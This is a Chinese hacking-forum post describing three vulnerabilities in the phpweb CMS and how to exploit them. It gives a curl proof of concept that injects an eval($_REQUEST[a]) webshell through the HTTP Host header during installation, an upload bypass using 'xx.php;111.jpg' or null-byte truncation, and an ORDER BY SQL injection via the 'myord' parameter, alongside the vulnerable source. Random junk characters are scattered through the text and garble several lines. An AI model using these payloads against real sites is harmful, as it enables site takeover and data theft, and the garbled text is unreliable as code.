找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2653|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:# }2 U6 M9 e+ O

0 P( [' o. [8 S& R之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码$ x! P- [1 N3 G

: M; t) |, f5 ~* P9 _4 m; s  D8 z鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
% P, \- m- n8 y鸡肋2: 有一定安全常识的站长都会删掉 install 目录
" G3 }; W4 S* u" w# A2 C 0 `; `4 W+ v9 s
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响% @$ `8 \  t9 D" J
* j$ ?: K. i# d+ L7 u  ]
分析:
6 |" s8 B! c# R2 S
9 c1 ?4 Q. d( D# T# n9 z % e& t. I! d" O. e$ Z2 P; M' l. L
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
" D( i/ W" H% d# Y% Y: e
# H) I( {0 T9 c2 @; Z0 G                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);4 |& }3 u2 @$ s+ K9 @$ s
                                            $filestr=str_replace(" ","",$filestr);7 f) ^) t3 s0 Y& w0 R
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);: @: g; ?. E0 F* D  h  w* f
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
$ l5 c7 z0 G* ]$ W" Q) c                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);" j5 U# Y) q  P6 u7 L0 I; B5 ?
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
9 G# W+ S8 s3 R. ~, o/ [+ F                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);) o$ i8 E3 Q0 K) t% l
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
4 O- Z0 q$ m  p# b                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
: J' E0 ^, |1 W9 X2 }  F* m 1 h; X3 ^" M) E1 e
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
2 s1 }3 _  w  F$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^& `6 U" V# Q1 I, {. Q( G" `! R

) ]7 d0 O' Z9 F" q7 u( apoc:3 F. \) w8 a3 m, y/ Y# p
$ L: H& D0 ~, u. {# w* e
?3 q6 d  v, q( I$ T" ^5 r% \
1
8 s1 N+ v" V# d; Pcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"' m1 n; P7 j5 y
shell地址: /config.inc.php9 t6 }7 @( q& s# y% [- ]- e5 `. c
跟之前的 phpcms一样 需要远程数据库
& ~% _  j3 i" }8 } / x8 g8 ^1 D& T) _7 w" E2 t5 n
——————————————————–; J7 L$ F& V8 F7 n% `( W5 W
上传漏洞(需要进后台):
6 ^7 |$ [1 e) _4 k# {# ]( e6 p漏洞文件: /kedit/upload_cgi/upload.php9 U1 e: o, o0 N3 m' i5 D1 g5 s
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用6 q  I# g. j  ~

$ W. A' C4 }0 m5 }' J: [ 7 Y* H6 a2 o3 z4 N
<?php2 A7 B$ T. E& G) b* I
    define("ROOTPATH", "../../");
$ j. z: u% I$ E5 [: E; b. s6 Z) p6 E    include(ROOTPATH."includes/admin.inc.php");% [! ^5 N& c, t8 F5 ]1 w
    NeedAuth(0);
1 V" A, t: H2 E3 P! H5 @ 6 o$ E# D7 _# R) x
    $dt=date("Ymd",time());: C9 R0 Z- g+ _* M" W: M
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
5 x4 q/ M: {, W( w1 t% {            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
* p, S0 z" F& `/ d, F    }
* U" b  O  U3 U* _. @5 c' H( y
0 R5 b/ t  }1 K. q+ z    //文件保存目录路径  Q7 J  f, t$ l- y' ^# C
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
+ N1 n1 D3 t( S, F7 }    echo $save_path;7 N- v' J. Y7 p! W
    //文件保存目录URL! k! Z0 Z. k$ z3 r
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
: e9 u. Q3 f: P8 v6 Y , q2 l( ?- @5 p" ^+ l, T
    //定义允许上传的文件扩展名
, i+ ]* ~; p+ W, S/ I. C2 W    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀: h4 D) x8 N* D. @0 {+ R/ z4 a

9 A. o0 W$ [! q    //最大文件大小) j. r6 s4 v- _
    $max_size = 1000000;, }7 S; L0 C( W) a4 O
( l' L* Y6 K/ Y5 S# j
    //更改目录权限6 ~. [. R8 F# e+ W4 t" [
    @mkdir($save_path, 0777);
' b- ?! U' h" W9 S
' c$ @$ @1 a2 |    //文件的全部路径8 g+ X) I* B2 h* h2 U$ h( S
    $file_path = $save_path.$_POST['fileName'];   //保存文件名' k7 e9 H) y5 d7 {
/ N( z7 U/ d  [0 ~) U
    //文件URL9 B" F5 l. e9 c
    $file_url = $save_url.$_POST['fileName'];
: ^& s' `9 _4 x& U5 B0 p3 [//有上传文件时
( T7 \* Z6 h- l# C9 @    if (empty($_FILES) === false) {
) l! p; I/ r0 ^" P' \% C1 I " B/ u) ^4 ~/ x0 A
            //原文件名% ?! ?6 G8 K* r  a. i( b6 ^
            $file_name = $_FILES['fileData']['name'];
( u; j& }+ v) S. y2 N9 ~            //服务器上临时文件名
6 z4 |/ d$ M& m            $tmp_name = $_FILES['fileData']['tmp_name'];# I7 I2 m2 q+ @
            //文件大小
9 C+ e4 @7 X! U" M- ^            $file_size = $_FILES['fileData']['size'];
7 X) p6 L9 Z& Y6 e2 H& S. m. o& C- g            //检查目录
0 w5 S" [# C' j$ I! ]6 a& L            if (@is_dir($save_path) === false) {
2 ?3 J& i: ~8 w6 a! x& N                    alert("上传目录不存在。");; S1 N: A2 p& @# A2 c" D
            }7 P& E: {- L6 |) R% o7 D
            //检查目录写权限8 C2 x6 i" E2 p
            if (@is_writable($save_path) === false) {+ _. L. P: v0 {# e% `% C- n
                    alert("上传目录没有写权限。");
8 J% {3 }& n( F) J  u            }
' l8 b( H. t& t, Z/ L' a: I# e+ s9 E0 K            //检查是否已上传: t( J) R7 R3 N' S5 I9 T
            if (@is_uploaded_file($tmp_name) === false) {
0 I1 s* b- h6 ~+ I                    alert("临时文件可能不是上传文件。");
/ y, T6 i6 T. I; b5 y- q$ @            }
9 s; U7 p" a1 o% D            //检查文件大小
  G: j! |/ f& g            if ($file_size > $max_size) {. s1 w, y! \. x( ^3 B' `0 @
                    alert("上传文件大小超过限制。");, s+ Y# y  u) e6 f5 T
            }
1 G! E- e0 }6 |            //获得文件扩展名- U8 E0 A3 [" j+ ~# O' s+ E: ?
            $temp_arr = explode(".", $_POST['fileName']);
% q, o4 r8 \8 }, i% _8 y2 D  \  s            $file_ext = array_pop($temp_arr);) T- }. N$ v1 s* W% [1 n
            $file_ext = trim($file_ext);
% s: w% b/ S! r! m" b            $file_ext = strtolower($file_ext);1 N- t# `$ L( A. i! I3 P% \
( d5 r" b" t7 S5 k, D$ T$ _+ d
            //检查扩展名   4 S3 d$ H: m0 W
            if (in_array($file_ext, $ext_arr) === false) {     % I3 l# Q) u0 t  F# ^5 c
                    alert("上传文件扩展名是不允许的扩展名。");
& X9 a  @3 u% K* y* ]            }7 W9 d! e8 V; X3 x

. r3 k" R, M& X8 w6 w            //移动文件     A+ N" F* [8 M# }
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
6 l8 f3 I7 ]. @            if (move_uploaded_file($tmp_name, $file_path) === false) {
' y" Q* u3 M' `  R! Q8 ^# L  a                    alert("上传文件失败。");
( j9 `: u4 Y+ O& I7 b            }+ u% }! _3 J' U( ~1 {8 ~6 b2 B: F
* Q0 Q$ Y8 ?6 d/ B$ K. L/ y; J1 O2 L
            @chmod($file_path,0666);
0 g& {, D4 c( e) T 2 A4 I4 d% H# d4 H
    ?>
5 U* m& `. w7 s+ ^" Y4 S抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2270 o! }5 P# k5 x4 F& E1 [; l

; v" v4 J8 F9 u+ C7 F5 }  Iapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
0 n2 t, Z  I( v/ ^* q9 Z* K8 B7 ~
" S8 A5 r* w7 m/ A) o, L7 K* q——————————————————4 O/ U7 k! _; I2 `8 l0 P# U
注入漏洞:
7 l% \$ E7 r! q$ k  c) M: q" q9 z漏洞文件:search/module/search.php/ t4 y8 z3 x: T5 m1 E. s" h( T( r
/search/index.php?key=1&myord=1 [sqlinjection]
# ?( M9 J) u/ f, @1 Q. D
) l1 z7 {( b- A ' A# q! L/ [5 u, K4 C+ A% j+ I
<?php
& f  W: O& d& r0 I& ~0 @6 O   //       ... 省略 n 行...
2 f* v3 M0 o% {2 W   //第18行:3 y, [0 @5 X2 y; `8 F' k
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响% U# t4 b' K# P; g6 z7 x
           $page=htmlspecialchars($_GET["page"]);
% G! m- B! r! L8 e, L* d' F           $myord=htmlspecialchars($_GET["myord"]);
6 T! q8 b# X  s4 y   x) F2 Z/ A$ P4 K: R9 I7 j% S7 E* G& N
   //       ... 省略 n 行...
0 s* N/ }0 u7 [. c1 H" G7 R8 V! Y# n' U   $key,$myord 两个参数带入查询
9 f! H8 e- v( Z4 Q7 T) V   //第47行 $key:
1 ]& [0 M* D# }; Q$ x
. z5 [# w- H2 R, ^$ Y+ ~+ n   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过../ V% t  B- o  ?0 B

6 k' s9 {1 r! o0 D! y2 G( y   //第197行 $myord8 v/ G# g+ c( F( c
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
* `% S: v0 _2 u- Z& J: a% k. y
( s  Z/ z4 \, `- {- V# Z   ?>
- m, Z& R) O+ [! U  h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表